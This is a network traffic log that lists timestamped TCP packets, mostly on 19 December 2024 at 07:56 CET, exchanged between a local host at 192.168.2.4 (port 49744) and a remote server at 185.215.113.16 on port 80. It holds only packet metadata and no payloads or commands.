Dec 19, 2024 07:56:47.156056881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.156120062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.157125950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.158039093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.158091068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.158216953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.158823967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.158874989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.159751892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.159765959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.159826994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.160691023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.160705090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.160748959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.161845922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.161859035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.161900997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.163413048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.163427114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.163469076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.164238930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.164252043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.164294958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.165803909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.165817976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.165918112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.166878939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.166892052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.166934013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.167947054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.167959929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.168036938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.169047117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.169059992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.169112921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.169889927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.170139074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.170181036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.171205997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.171220064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.171266079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.172260046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.173365116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.173378944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.173422098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.173470974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.173511028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.174518108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.174702883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.174760103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.175920010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.175934076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.175981045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.176858902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.177323103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.177372932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.178813934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.178828001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.178869009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.179373980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.179385900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.179454088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.180985928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.180999994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.181047916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.181643009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.181655884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.181685925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.182837009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.182851076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.182894945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.184258938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.184272051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.184324026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.185375929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.185389042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.185430050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.186495066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.186507940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.186563015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.187383890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.187846899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.187892914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.188620090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.188632011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.188703060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.189661026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.189764977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.189811945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.190845013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.191390991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.191433907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.191945076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.192085028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.192141056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.193269014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.193283081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.193320990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.194571972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.194585085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.194636106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.196764946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.196779013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.196791887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.196804047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.196821928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.196935892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.197827101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.199048996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.199062109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.199075937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.199110985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.199131966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.201271057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.201287031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.201348066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.201435089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.201447010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.201503992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.202862024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.202874899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.202930927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.204879999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.204895020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.204905033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.204919100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.204936028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.204974890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.206027985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.206043005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.206084967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.207068920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.258344889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.316561937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.316586018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.316643000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.316906929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.317179918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.317297935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.317337036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.318396091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.318480968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.318484068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.319503069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.319547892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.319601059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.320672989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.320702076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.320723057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.321799994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.321911097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.321952105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.322981119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.323072910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.323122025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.324167013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.324218035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.324260950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.325304985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.325413942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.325464964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.326472044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.326539040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.326575994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.327630997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.327737093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.327749968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.328793049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.328850985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.328886986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.329967976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.330022097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.330058098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.331129074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.331183910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.331218004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.332295895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.332340002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.332376957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.333420992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.333523989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.333564043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.334594011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.334636927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.334692001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.335789919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.335861921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.335900068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.336945057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.336987972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.337027073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.338351011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.338414907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.338426113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.339255095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.339309931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.339387894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.340435982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.340486050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.340527058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.341597080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.341639996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.341674089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.342751980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.342803955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.342854977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.343911886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.343974113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.344012022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.345083952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.345128059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.345168114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.346244097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.346354008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.346401930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.347392082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.347448111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.347498894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.348599911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.348645926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.348679066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.349736929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.349785089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.349836111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.350950956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.351020098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.351068020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.352063894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.352116108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.352158070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.353234053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.353306055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.353364944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.354362965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.354461908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.354518890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.355551004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.355607986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.355644941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.356714964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.356755972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.356828928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.357902050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.358046055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.358082056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.359030008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.359077930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.359126091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.360265970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.360311031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.360378981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.361385107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.361443043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.361493111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.362517118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.362564087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.362608910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.363708019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.363766909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.363811016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.364835978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.364938974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.364983082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.366020918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.366067886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.366136074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.367244959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.367319107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.367325068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.368338108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.368391037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.368443012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.369494915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.369546890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.369596958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.370671034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.370762110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.370820045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.371844053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.371942043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.371987104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.373001099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.373043060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.373075008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.374152899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.374200106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.374253035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.375332117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.375390053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.375395060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.376471043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.376516104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.376563072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.428164005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.826790094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.878514051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.928183079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.946490049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.946521997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.946960926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.947017908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.947077036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.947120905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.948077917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.948168039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.948227882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.949182987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.949282885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.949356079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.950354099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.950524092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.950572968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.951428890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.951533079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.951605082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.952534914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.952663898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.952771902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.953653097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.953772068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.953815937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.954804897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.954911947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.955085993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.955904007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.955998898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.956036091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.957015991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.957120895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.957168102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.958118916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.958264112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.958309889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.959248066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.959358931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.959439993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.960342884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.960458994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.961452961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.961513996 CET	49744	80	192.168.2.4	185.215.113.16
